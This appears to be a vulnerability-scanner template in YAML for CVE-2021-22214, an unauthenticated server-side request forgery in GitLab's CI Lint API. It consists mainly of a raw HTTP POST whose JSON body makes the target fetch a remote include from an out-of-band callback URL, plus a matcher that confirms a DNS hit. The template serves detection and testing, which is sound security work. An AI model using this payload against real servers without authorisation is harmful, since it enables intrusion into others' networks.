30 lines
1.2 KiB
YAML
30 lines
1.2 KiB
YAML
id: CVE-2021-22214
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info:
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author: Suman_Kar
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name: Unauthenticated Gitlab SSRF - CI Lint API
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severity: medium
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description: When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.
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reference: |
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
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- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
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- https://docs.gitlab.com/ee/api/lint.html
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tags: cve,cve2021,gitlab,ssrf,oob
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requests:
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- raw:
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- |
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POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
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Referer: {{BaseURL}}
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content-type: application/json
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Connection: close
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{"content": "include:\n remote: http://{{interactsh-url}}/api/v1/targets?test.yml"}
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns" |